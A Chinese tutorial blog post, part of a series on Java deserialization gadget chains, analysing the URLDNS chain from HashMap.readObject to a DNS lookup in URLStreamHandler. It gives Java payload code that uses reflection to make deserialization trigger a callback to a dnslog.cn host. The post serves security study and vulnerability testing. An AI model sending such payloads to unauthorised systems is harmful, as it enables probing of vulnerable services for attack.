当前位置: 首页 > news >正文

Java反序列化利用链篇 | URLDNS链

文章目录

  • URLDNS链
    • 调用链分析
    • Payload编写

系列篇其他文章,推荐顺序观看~

  • Java反序列化利用链篇 | JdbcRowSetImpl利用链分析
  • Java反序列化利用链篇 | CC1链_全网最菜的分析思路
  • Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链
  • Java反序列化利用链篇 | URLDNS链
  • Java反序列化利用链篇 | CC6链分析(通用版CC链)

URLDNS链

URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。

该链比较简单,利用链也比较短。

其中入口类为 HashMap,执行类为URLStreamHandler的hashCode()方法。

整个调用链如下:

HashMap.readObject()
HashMap.putVal()
HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()

调用链分析

HashMapde readObject()方法会调用putVal()方法因而调用hash()方法,传递的参数为key,这个key为hashMap对象的存在的键。

之后会调用key.hashCode(),即key(Object)不同,调用的hashCode()不同。

而URL类中也存在hashCode方法,如果传入的key为URL对象,则会调用URL对象的hashCode():

如果调用了URL对象的hashCode,则会调用handler.hashCode(this)

其中handler为URLStreamHandler

因此,最终会调用URLStreamHandler对象的hashCode()

URLStreamHandler对象的hashCode()中会调用getHostAddress(u),进而发起DNS请求。

总结一下就是:

如果一个序列化的hashMap对象中存在一个URL对象,则在进行反序列hashMap对象的时候,就会触发URL对象的hashCode()方法,进而触发DNS请求。

Payload编写

基本代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();hashMap.put(url,'1');SerAndUnser.serialize(hashMap);

通过hashMap对象put进一个URL对象。

根据调用链,则在反序列化时会调用hashMap的readObject方法,其中url对象为key,然后调用到url.hashCode()URLStreamHandler.hashCode(url),最终触发到请求DNS的代码。

看似完美,但是运行时会发现,序列化hashMap对象时就已经触发了请求DNS代码。

为什么呢?

通过分析发现,hashMap的put方法也会调用hash(url)url.hashCode(),也就是说在执行hashMap.put(url,'1')时就会触发最终代码。

怎么办呢?

这里有两个思路:

  1. hashMap在put的时候,不将url放入hashMap,这样就不会触发url的hashCode。然后通过别的方式将url放入hashMap。
  2. 将url对象put进入hashMap,然后想办法不让url对象触发hashCode()或者是不触发URLStreamHandler.hashCode()

显然第一个思路实现不了,没有别的方式在hashMap对象中放入key。

那么就看一下第二个思路:

在put时不触发url的hashCode方法,这个显然也不行,只要put执行,hash()会执行,hashCode()必然执行,(除非key为空,但是不现实)。

那我们能不能阻止URLStreamHandler.hashCode()的执行呢?看下url对象的hashCode方法

发现:这里先是做了一个判断,如果hashCode为-1,则不会再执行到hashCode()了,这不正是我们想要的嘛。只需要将hashCode设置为-1。

但怎么设置呢?

首先,hashCode默认为-1

通过搜索也没有位置可以修改hashCode的值,那我们只能通过hashMap对象本身来修改了,但是hashCode又是private修饰,直接修改不了。

所以接下来需要使用反射处理,修改的代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,'1');//        SerAndUnser.serialize(hashMap);SerAndUnser.unserialize("ser.bin");

以上代码,序列化时没有触发最终代码了,但是在反序列化时也不触发了~

原因其实很简单,反序列化之前,hashMap对象存在URL对对象,但是URL对象的hashCode不是-1,因此反序列化时,执行不到handler.hashCode(),因此执行不到最终的代码。

解决方式是,在hashMap的put之后,再把url对象的hashCode值修改为-1即可。

最终代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,'1');// put之后再将hashCode的值修改回-1hashCodeField.set(url,-1);//        SerAndUnser.serialize(hashMap);SerAndUnser.unserialize("ser.bin");

执行反序列化会成功触发最终的DNS请求。

相关文章:

Java反序列化利用链篇 | URLDNS链

文章目录 URLDNS链调用链分析Payload编写 系列篇其他文章,推荐顺序观看~ Java反序列化利用链篇 | JdbcRowSetImpl利用链分析Java反序列化利用链篇 | CC1链_全网最菜的分析思路Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链Java反序列化利用链篇 | URLD…...

Android 短信验证码自动填充

本文主要介绍国外google上线的app 短信自动填充方案。 本方案主要是使用google提出的,防止开发者使用SMS相关权限造成的用户信息泄露 目录 注意点: 1、本方式不适合华为手机,华为有自己的获取方式 2、本方式不需要添加任何短信权限 3、…...

数据库 MySQL 是否需要容器化?

容器的定义:容器是为了解决“在切换运行环境时,如何保证软件能够正常运行”这一问题。 目前,容器和 Docker 依旧是技术领域最热门的词语,无状态的服务容器化已经是大势所趋,同时也带来了一个热点问题被大家所争论不以…...

Kettle的安装及简单使用

Kettle的安装及简单使用一、kettle概述二、kettle安装部署和使用Windows下安装案例1:MySQL to MySQL案例2:使用作业执行上述转换,并且额外在表stu2中添加一条数据案例3:将hive表的数据输出到hdfs案例4:读取hdfs文件并将…...

Golang | Leetcode Golang题解之第420题强密码检验器

题目: 题解: func strongPasswordChecker(password string) int {hasLower, hasUpper, hasDigit : 0, 0, 0for _, ch : range password {if unicode.IsLower(ch) {hasLower 1} else if unicode.IsUpper(ch) {hasUpper 1} else if unicode.IsDigit(ch)…...

面试金典题3

URL化。编写一种方法,将字符串中的空格全部替换为%20。假定该字符串尾部有足够的空间存放新增字符,并且知道字符串的“真实”长度。 示例 1: 输入:"Mr John Smith ", 13 输出:"Mr%20John%20Smith&…...

FFmpeg开发笔记(五十六)使用Media3的Exoplayer播放网络视频

Android早期的MediaPlayer控件对于网络视频的兼容性很差,所以后来单独推出了Exoplayer库增强支持网络视频,在《Android Studio开发实战:从零基础到App上线(第3版)》一书第14章的“14.3.3 新型播放器ExoPlayer”就详细介绍了Exoplayer库的详细…...

Python使用总结之py-docx将word文件中的图片保存,并将内容返回

Python使用总结之py-docx将word文件中的图片保存,并将内容返回 使用py-docx读取word文档的内容,其中包含标题、文本和图片等信息。该方法将标题和内容返回,并将文件中的图片保存到指定的文件夹中。 实现步骤 加载文件内容读取文件的段落对文…...

Radware 报告 Web DDoS 攻击活动

新一代 HTTPS 洪水攻击的频率和强度急剧增加,攻击者引入的复杂程度也在迅速提高。2024 年上半年,Web 分布式拒绝服务 (DDoS) 攻击的频率和强度显著增加。其中很大一部分活动可以归因于受政治紧张局势驱使的黑客活动分子。 众所周知,当今的黑…...

OpenCV运动分析和目标跟踪(2)累积操作函数accumulateSquare()的使用

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 将源图像的平方加到累积器图像中。 该函数将输入图像 src 或其选定区域提升到2的幂次方,然后加到累积器 dst 中: dst ( …...

PCIe进阶之TL:Common Packet Header Fields TLPs with Data Payloads Rules

1 Transaction Layer Protocol - Packet Definition TLP有四种事务类型:Memory、I/O、Configuration 和 Messages,两种地址格式:32bit 和 64bit。 构成 TLP 时,所有标记为 Reserved 的字段(有时缩写为 R)都必须全为0。接收者Rx必须忽略此字段中的值,PCIe Switch 必须对…...

Linux之实战命令01:xargs应用实例(三十五)

简介: CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布:《Android系统多媒体进阶实战》🚀 优质专栏: Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏: 多媒体系统工程师系列【…...

Redisson实现分布式锁(看门狗机制)

目录 可重入锁: 锁重试和看门狗机制: 主从一致性: 首先引入依赖,配置好信息 3.使用Redisson的分布式锁 可重入锁: 可重入锁实现是通过redsi中的hash实现的,key依旧是业务名称加id,然后第一个…...

记录一次显卡驱动安装

1. 驱动安装 1.1. 查看适合的版本 apt-get update ubuntu-drivers devices输出结果: 1.2. 安装合适的驱动版本 根据上面输出的内容 apt-get install nvidia-driver-545完成后重启 reboot查看新的驱动 nvidia-smi2. 安装/升级cuda 在nvidia-smi中显示的CUDA…...

nginx的作用是什么

Nginx是一个轻量级、高性能的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,它的作用广泛且重要。以下是Nginx的主要作用: 1. 作为Web服务器 高效处理静态文件:Nginx对静态文件(如HTML、图片…...

【全网最全】2024年华为杯研赛B题成品论文获取入口(后续会更新)

您的点赞收藏是我继续更新的最大动力! 一定要点击如下的卡片,那是获取资料的入口! 点击链接加入【2024华为杯研赛资料汇总】:https://qm.qq.com/q/hMgWngXvcQhttps://qm.qq.com/q/hMgWngXvcQ你是否在寻找数学建模比赛的突破点&a…...

计算机网络(八) —— Udp协议

目录 一,再谈端口号 1.1 端口号 1.2 netsta命令 二,UDP协议 2.1 关于UDP 2.2 Udp协议格式 2.3 Udp协议特点 2.4 Udp的缓冲区 一,再谈端口号 http协议本质是“请求 - 响应”形式的协议,但是应用层需要先将数据交给传输层&…...

【Linux篇】TCP/IP协议(笔记)

目录 一、TCP/IP协议族体系结构 1. 数据链路层 (1)介绍 (2)常用协议 ① ARP协议(Address Resolve Protocol,地址解析协议) ② RARP协议(Reverse Address Resolve Protocol&…...

std::pair和std::tuple

提示:文章 文章目录 前言一、背景二、 2.1 2.2 总结 前言 前期疑问: 本文目标: 一、背景 最近 std::pair和std::tuple 二、用法 1.1 创建 看代码规范,提到:通过std::pair 和std::tuple ,函数可以同…...

Access denied for user ‘root‘@‘114.254.154.110‘ (using password: YES)

navicat 连接远程服务器报错 1045 - Access denied for user root114.254.154.110 (using password: YES)报错解释: 这个错误表示客户端从IP地址114.254.154.110尝试以用户’root’身份连接到MySQL服务器时,被拒绝访问。原因可能是密码错误、用户’roo…...

深度学习03-神经网络01-什么是神经网络?

神经网络的基本概念 人工神经网络(Artificial Neural Network,ANN): 是一种模仿生物神经网络的计算模型。由多个神经元(或称为节点)组成,这些节点通过不同的连接来传递信息。 每个神经元可以接…...

Redisson 分布式锁的使用详解

一、分布式锁的概述 1.1 分布式锁的背景 在单机系统中,Java 提供了 synchronized 和 Lock 等锁机制来确保并发情况下的线程安全。然而,在分布式系统中,多个服务实例运行在不同的物理或虚拟机上,无法直接使用这些本地的锁机制来控…...

计算机网络:物理层 --- 基本概念、编码与调制

目录 一. 物理层的基本概念 二. 数据通信系统的模型 三. 编码 3.1 基本概念 3.2 不归零制编码 3.3 归零制编码 3.4 曼切斯特编码 3.5 差分曼切斯特编码 ​编辑 四. 调制 4.1 调幅 4.2 调频 4.3 调相 4.4 混合调制 今天我们讲的是物理…...

使用Maven创建一个Java项目并在repository中使用

JDK环境:1.8.0_371 Maven环境 :Apache Maven 3.6.3 配置完成jdk和mvn后,进入到指定文件夹下执行如下语句: mvn archetype:generate -DgroupIdtop.chengrongyu -DartifactIdCyberSpace -DarchetypeArtifactIdmaven-archetype-quic…...

如何使用IIC外设(硬件IIC)

本文重点叙述如何使用芯片自带的 IIC 外设,即硬件 IIC,实现 IIC 通信。文章《IIC通信基础_cpu的iic通信-CSDN博客》 中,叙述了软件 IIC 通信和硬件 IIC 通信的区别, 并且重点叙述了 IIC 的通信协议。在使用软件进行 IIC 通信时&am…...

使用 Vue 3、Vite 和 TypeScript 的环境变量配置

使用 Vue 3、Vite 和 TypeScript 的环境变量配置 在开发现代前端应用时,环境变量是一个非常重要的概念。它可以帮助我们根据不同的环境(开发、测试、生产)配置不同的行为,比如 API 请求地址、调试选项等。在 Vue 3、Vite 和 Type…...

F28335 的串行外设接口(以下简称 SPI)

1 SPI 介绍 1.1 SPI 简介 1.2 F28335 的 SPI模块介绍 (1)F28335 的 SPI 特点...

科技引领未来生活——“光影漫游者”展览馆应用—轻空间

随着科技的快速发展,展览馆作为展示文化、科技和艺术的场所,正逐渐从传统的静态展示向高科技互动体验转变。由轻空间打造的“光影漫游者”展览馆,凭借其前沿的气承式结构和智能化系统,将参观者带入了一个未来感十足、充满科技魅力…...

ego-planner开源代码之启动参数介绍分析

ego-planner开源代码之启动参数介绍&分析 1. 源由2. 逻辑分析3. 启动参数section 1 三维地图尺寸section 2 里程计话题映射section 3 advanced_param.xml配置section 3.1section 3.2section 3.3section 3.4section 3.5section 3.6section 3.7section 3.8 section 4 轨迹服务…...

828 华为云征文|华为 Flexus 云服务器打造 Laverna 在线笔记应用

一、引言 在当今数字化时代,高效的笔记管理工具对于学习、工作和生活都至关重要。Laverna 作为一款功能强大的开源在线笔记应用,提供了 Markdown 编辑、加密支持等特性,是替代 Evernote 的绝佳选择。在 2024 年 9 月 14 日这个充满创新的日子…...